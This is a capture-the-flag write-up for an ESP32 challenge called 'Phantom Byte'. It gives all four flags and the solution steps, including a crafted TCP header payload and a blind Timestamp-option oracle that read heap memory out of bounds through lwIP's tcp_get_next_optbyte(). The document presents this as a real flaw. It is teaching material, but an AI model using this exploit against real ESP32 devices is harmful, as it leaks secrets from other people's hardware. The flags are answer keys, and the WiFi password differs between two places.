# Phantom Byte | Field | Value | |-------|-------| | Category | ESP | | Difficulty | Multi-part (Easy to Hard) | | Points | 100 / 200 / 300 / 500 (4 flags) | | Author | Eun0us | | CTF | Espilon 2026 | --- ## Description An ESP32 device was seized during a raid on an underground hackerspace. It is a relay node for a mesh network called **"The Wire"**. The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path. *Peel back the layers. Extract every secret this node is hiding.* **WiFi:** `Phantom_Node` / `thewire2026` **Service:** `tcp://192.168.4.1:1337` *"Close this world. Open the nEXt."* --- ## TL;DR Four-layer progressive challenge based on a **real lwIP vulnerability** in `tcp_get_next_optbyte()`. Layer 1: read base64 from UART boot log. Layer 2: find a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4: blind extraction using the TCP Timestamp option as an oracle. --- ## Tools | Tool | Purpose | |------|---------| | `esptool.py` | Flash firmware to ESP32 | | `screen` / `minicom` | Read UART boot log | | `nc` | Connect to TCP service on port 1337 | | Python 3 | Automated exploit / solve script | --- ## Flags Summary | Flag | Name | Points | Value | |------|------|--------|-------| | 1/4 | Signal | 100 | `ESPILON{u4rt_s33s_4ll}` | | 2/4 | Backdoor | 200 | `ESPILON{h1dd3n_c0nf1g}` | | 3/4 | Memory Bleed | 300 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` | | 4/4 | Blind Oracle | 500 | `ESPILON{bl1nd_str4ddl3}` | --- ## Solution ### Setup Flash firmware, connect to WiFi AP `Phantom_Node` / `thewire2024`, then: ```bash nc 192.168.4.1 1337 ``` --- ### Flag 1 — Signal (100 pts) Monitor the UART output during boot. Among the diagnostic lines: ``` [ 0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9 ``` Decode the base64: ```bash echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d # ESPILON{u4rt_s33s_4ll} ``` > 📸 `[screenshot: UART terminal showing the base64 diagnostic line on boot]` Submit over TCP: ```text ph> unlock ESPILON{u4rt_s33s_4ll} >> sequence accepted. >> layer 2 unlocked. you're getting closer to the wire. ``` --- ### Flag 2 — Backdoor (200 pts) In layer 2, `help` lists the documented commands. The `mem` output hints: ``` ph> mem >> secrets cached in the wire ``` And `info` shows: ``` >> backdoor: [CLASSIFIED] ``` The hidden command is `wire`: ```text ph> wire >> accessing the wire... >> config_cache dump: >> ESPILON{h1dd3n_c0nf1g} ``` > 📸 `[screenshot: wire command revealing the hidden config cache contents]` Submit: ```text ph> unlock ESPILON{h1dd3n_c0nf1g} >> layer 3 unlocked. careful. the deeper you go, the less you come back. ``` --- ### Flag 3 — Memory Bleed (300 pts) In layer 3, enable debug tracing: ```text ph> trace on >> trace enabled. ``` The vulnerability: `tcp_get_next_optbyte()` uses `doff * 4` as the claimed option length without checking that it stays within the actual received segment bytes. Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present): ``` Bytes 12-13: F002 (doff=15, flags=SYN) Full: 053900500000000100000000f002ffff00000000 ``` ```text ph> inject 053900500000000100000000f002ffff00000000 ``` The trace output shows each out-of-bounds byte read from the adjacent `config_cache`: ``` [TRACE] tcp_get_next_optbyte: [ 20] 0x45 << oob [ 21] 0x53 << oob [ 22] 0x50 << oob [ 23] 0x49 << oob ... ``` Convert the oob bytes to ASCII: `ESPILON{ph4nt0m_byt3_h34p_l34k}` > 📸 `[screenshot: trace output showing oob bytes reading the flag from heap]` --- ### Flag 4 — Blind Oracle (500 pts) Disable trace output — no more per-byte visibility: ```text ph> trace off ``` The vulnerability still exists, but now the only feedback is the **parsed option values** emitted as structured output. Use the TCP Timestamp option (kind=8, len=10) to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB heap memory, but their values are returned as decimal numbers in the response. **Extraction technique:** Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes are read from the adjacent flag buffer. - Chunk 1 (bytes 0–7): `>> opt: TS=1163150159/1280267387` - `1163150159 = 0x45535049` → `ESPI` - `1280267387 = 0x4C4F4E7B` → `LON{` - Chunk 2 (bytes 8–15): decode TSval/TSecr → `bl1n` / `d_st` - Chunk 3 (bytes 16–22): decode TSval/TSecr → `r4dd` / `l3}\x00` Reconstruct: `ESPILON{bl1nd_str4ddl3}` > 📸 `[screenshot: inject command returning TS values that decode to flag bytes]` Automated solver: ```bash python3 solve.py 192.168.4.1 1337 ``` --- ## Real-world Context This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF v5.3). The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option index stays within the pbuf's actual payload length. A remote attacker can send a crafted TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory. --- ## Flag - Flag 1: `ESPILON{u4rt_s33s_4ll}` - Flag 2: `ESPILON{h1dd3n_c0nf1g}` - Flag 3: `ESPILON{ph4nt0m_byt3_h34p_l34k}` - Flag 4: `ESPILON{bl1nd_str4ddl3}`